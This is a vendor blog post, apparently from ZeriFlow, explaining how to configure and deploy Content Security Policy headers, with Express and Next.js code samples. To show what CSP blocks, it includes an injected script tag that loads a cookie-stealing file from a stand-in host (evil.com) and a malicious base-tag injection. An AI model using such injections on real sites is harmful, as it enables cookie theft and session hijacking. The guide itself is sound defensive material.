Skip to main content
Back to blog
March 15, 2026·Updated May 2, 2026|11 min read|Antoine Duno|Web Security

Content Security Policy (CSP): A Practical Guide with Examples

Content Security Policy is the most powerful browser security mechanism available — and the most commonly misconfigured. This guide walks through every directive with real-world examples, shows you how to build a CSP that doesn't break your site, and explains how to use report-uri to catch violations before they become problems.

Antoine Duno

1,742 words

AD

Antoine Duno

Founder of ZeriFlow · 10 years fullstack engineering · About the author

Key Takeaways

  • Content Security Policy is the most powerful browser security mechanism available — and the most commonly misconfigured. This guide walks through every directive with real-world examples, shows you how to build a CSP that doesn't break your site, and explains how to use report-uri to catch violations before they become problems.
  • Includes copy-paste code examples and step-by-step instructions.
  • Free automated scan available to verify your implementation.

Content Security Policy (CSP): A Practical Guide with Examples

Content Security Policy is arguably the most powerful browser security mechanism available to web developers. A well-configured CSP can neutralise XSS attacks even when your application code contains injection vulnerabilities — because even if an attacker injects a <script> tag, the browser will refuse to execute it unless the source is explicitly whitelisted.

The reason CSP is so commonly misconfigured (or absent) is that getting it right requires understanding your site''s resource loading patterns in detail. This guide gives you the mental model, the directive reference, and the practical workflow to deploy CSP without breaking your site.


What Is a Content Security Policy?

CSP is an HTTP response header that defines a whitelist of trusted sources for every type of resource your page can load: scripts, styles, images, fonts, media, frames, workers, and more.

When a browser receives a CSP header, it enforces it for every resource load on that page. Any resource that does not match the policy is blocked and — if you have configured report-uri or report-to — a violation report is sent to your endpoint.

Without CSP:

html
<!-- Attacker injects this via a comment field -->
<script src="https://evil.com/steal-cookies.js"></script>
<!-- Browser executes it: your users'' cookies are stolen -->

With Content-Security-Policy: script-src ''self'':

html
<script src="https://evil.com/steal-cookies.js"></script>
<!-- Browser blocks this: "not in the script-src whitelist" -->

Report-Only Mode: Deploy Without Breaking Anything

The single most important piece of CSP advice is this: start in report-only mode.

http
Content-Security-Policy-Report-Only: default-src ''self''; report-uri /csp-reports

With this header, the browser logs violations and sends reports to your endpoint but does not block anything. This lets you discover every resource your page loads before you commit to enforcing a policy.

Here is a minimal Express endpoint to collect CSP reports:

javascript
app.post(''/csp-reports'', express.json({ type: ''application/csp-report'' }), (req, res) => {
  const report = req.body[''csp-report''];
  console.log(''CSP Violation:'', {
    directive: report[''violated-directive''],
    blockedUri: report[''blocked-uri''],
    documentUri: report[''document-uri''],
  });
  res.status(204).end();
});

Run your app with this in place, navigate through every page and user flow, trigger every feature. Any resource that appears in your violation logs needs to be either whitelisted in your policy or removed. Once the violation log is clean, switch from Content-Security-Policy-Report-Only to Content-Security-Policy.


CSP Directives: Complete Reference

Fetch Directives (Control Resource Loading)

These are the core directives that define what can be loaded and from where.

`default-src`

The fallback for all resource types that do not have their own directive. Think of it as the catch-all. A good starting point:

http
Content-Security-Policy: default-src ''self''

This means: for any resource type not explicitly listed, only allow loads from the same origin.

`script-src`

Controls JavaScript sources. This is the most security-critical directive.

http
# Strict — only same origin
script-src ''self''

# Allow a specific CDN
script-src ''self'' https://cdn.jsdelivr.net

# Allow inline scripts (AVOID if possible — defeats XSS protection)
script-src ''self'' ''unsafe-inline''

# Allow dynamic evaluation like eval() (AVOID — very permissive)
script-src ''self'' ''unsafe-eval''

# Best practice: use nonces
script-src ''self'' ''nonce-{RANDOM_NONCE}''

`style-src`

Controls CSS sources.

http
# Inline styles are extremely common in frameworks — this is usually necessary
style-src ''self'' ''unsafe-inline''

# Or allow Google Fonts
style-src ''self'' ''unsafe-inline'' https://fonts.googleapis.com

`img-src`

Controls image sources.

http
# Allow same origin plus data URIs (common for base64 images) and HTTPS
img-src ''self'' data: https:

`font-src`

Controls font loading.

http
font-src ''self'' https://fonts.gstatic.com

`connect-src`

Controls URLs for fetch(), XMLHttpRequest, WebSocket, and EventSource.

http
connect-src ''self'' https://api.yourdomain.com wss://realtime.yourdomain.com

`media-src`

Controls <video> and <audio> sources.

`object-src`

Controls <object> and <embed> — almost always set to ''none'':

http
object-src ''none''

Flash and plugin-based content should not exist on any modern web application.

`worker-src`

Controls Service Worker, Web Worker, and SharedWorker scripts.

http
worker-src ''self''

`manifest-src`

Controls the Web App Manifest file.

`child-src`

Fallback for frame-src and worker-src (deprecated in favour of using those directives directly).


`form-action`

Controls where forms can submit. Without this, an XSS attack could modify form action attributes to exfiltrate user input.

http
form-action ''self'' https://payment.example.com

`frame-ancestors`

Controls which origins can embed your page in an iframe. This is the modern replacement for X-Frame-Options.

http
# Prevent all framing (equivalent to X-Frame-Options: DENY)
frame-ancestors ''none''

# Allow framing only by same origin (equivalent to X-Frame-Options: SAMEORIGIN)
frame-ancestors ''self''

# Allow a specific origin
frame-ancestors ''self'' https://trusted-partner.com

`navigate-to` (draft)

Controls where the page can navigate to. Not yet widely supported.


Reporting Directives

`report-uri` (deprecated but still widely supported)

http
Content-Security-Policy: default-src ''self''; report-uri /csp-reports

`report-to` (modern replacement)

http
Content-Security-Policy: default-src ''self''; report-to csp-endpoint

Reporting-Endpoints: csp-endpoint="https://yourdomain.com/csp-reports"

Source Expressions

These are the values you use in fetch directives:

ValueMeaning
''self''Same origin (scheme + host + port)
''none''No sources allowed
https:Any HTTPS URL
https://cdn.example.comSpecific origin
https://cdn.example.com/scripts/Specific path prefix
''unsafe-inline''Inline scripts/styles (avoid for scripts)
''unsafe-eval''eval() and similar (avoid)
''nonce-RANDOM''Specific inline script with matching nonce
''sha256-HASH''Inline script/style matching this hash
''strict-dynamic''Trust scripts loaded by trusted scripts

Using Nonces: The Right Way to Allow Inline Scripts

If your application needs inline scripts (which is common with server-rendered apps), avoid ''unsafe-inline''. Use nonces instead.

A nonce is a cryptographically random value generated per request. You include it in both the CSP header and the inline <script> tag. The browser verifies they match before executing.

Server-side (Node.js/Express example):

javascript
import crypto from ''crypto'';
import express from ''express'';

const app = express();

app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString(''base64'');
  res.setHeader(
    ''Content-Security-Policy'',
    `script-src ''self'' ''nonce-${res.locals.nonce}''; style-src ''self'' ''unsafe-inline''`
  );
  next();
});

app.get(''/'', (req, res) => {
  res.send(`
    <html>
      <body>
        <script nonce="${res.locals.nonce}">
          console.log(''This inline script is allowed by CSP'');
        </script>
        <script>
          // This script has no nonce — the browser will block it
          console.log(''blocked'');
        </script>
      </body>
    </html>
  `);
});

Important: the nonce must be: - Cryptographically random (not predictable) - Different on every single request - At least 128 bits of entropy


Common Real-World CSP Configurations

Simple Static Website

http
Content-Security-Policy: default-src ''self''; img-src ''self'' data:; style-src ''self'' ''unsafe-inline''; font-src ''self''; frame-ancestors ''none''; object-src ''none''

SaaS Application with External Analytics and Fonts

http
Content-Security-Policy: 
  default-src ''self'';
  script-src ''self'' https://js.stripe.com https://www.googletagmanager.com ''nonce-{RANDOM}'';
  style-src ''self'' ''unsafe-inline'' https://fonts.googleapis.com;
  img-src ''self'' data: https://www.google-analytics.com https://www.googletagmanager.com;
  font-src ''self'' https://fonts.gstatic.com;
  connect-src ''self'' https://api.stripe.com https://www.google-analytics.com https://api.yourdomain.com;
  frame-src https://js.stripe.com;
  frame-ancestors ''none'';
  object-src ''none'';
  base-uri ''self'';
  form-action ''self''

React/Next.js SPA

Next.js and many React setups require ''unsafe-eval'' in development. In production, use nonces via Next.js middleware:

javascript
// middleware.ts
import { NextResponse } from ''next/server'';
import { NextRequest } from ''next/server'';
import crypto from ''crypto'';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString(''base64'');
  const csp = `
    default-src ''self'';
    script-src ''self'' ''nonce-${nonce}'' ''strict-dynamic'';
    style-src ''self'' ''unsafe-inline'';
    img-src ''self'' blob: data:;
    font-src ''self'';
    object-src ''none'';
    base-uri ''self'';
    form-action ''self'';
    frame-ancestors ''none'';
    upgrade-insecure-requests;
  `.replace(/\\s{2,}/g, '' '').trim();

  const response = NextResponse.next();
  response.headers.set(''Content-Security-Policy'', csp);
  response.headers.set(''x-nonce'', nonce);
  return response;
}

How to Avoid Breaking Your Site

These are the most common ways CSP deployments go wrong:

Breaking inline scripts: If you use any inline <script> tags without nonces or hashes, setting script-src ''self'' will break them silently (from a user perspective) or loudly (broken functionality). Use report-only mode to catch these first.

Forgetting third-party services: Analytics, chat widgets, A/B testing tools, payment processors — all of these load external scripts. You must whitelist each one explicitly. The report-only phase will surface them all.

Breaking CSS-in-JS: Libraries like styled-components, Emotion, and MUI generate inline <style> tags at runtime. You typically need ''unsafe-inline'' in style-src for these, or implement nonce-based solutions using the library''s configuration.

Forgetting `base-uri`: Without base-uri ''self'', an XSS attack can inject a <base href="https://evil.com"> tag and redirect all relative URLs.

Missing `form-action`: Without this, XSS attacks can redirect form submissions to attacker-controlled endpoints.


Testing Your CSP

Browser console: Open DevTools and check the Console tab. CSP violations appear as red errors with detailed messages about what was blocked and which directive caused the block.

Report collection: Set up a report-uri endpoint and browse your site. Any violation appears in your logs.

CSP Evaluator: Google''s CSP Evaluator analyses your policy string and flags weaknesses.

Automated scan: ZeriFlow checks your CSP header as part of a full security scan, flagging missing or overly permissive policies.


The upgrade-insecure-requests Directive

One useful directive worth adding to almost any policy:

http
Content-Security-Policy: ...; upgrade-insecure-requests

This instructs browsers to automatically upgrade any HTTP resource loads to HTTPS. It is particularly useful during migrations from HTTP to HTTPS where some legacy content URLs in your database may still reference http://.


Summary

CSP is the most powerful header in your security arsenal, but it requires careful deployment:

  1. 1Start with Content-Security-Policy-Report-Only
  2. 2Collect violations across all your site''s pages and user flows
  3. 3Build a policy that whitelists everything legitimate
  4. 4Replace ''unsafe-inline'' for scripts with nonces wherever possible
  5. 5Add frame-ancestors ''none'' or ''self'' to block clickjacking
  6. 6Add object-src ''none'' and base-uri ''self'' unconditionally
  7. 7Switch from report-only to enforcement mode
  8. 8Keep report-uri in place to catch future regressions

To check whether your current CSP is effective or missing entirely, run a free scan at ZeriFlow.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading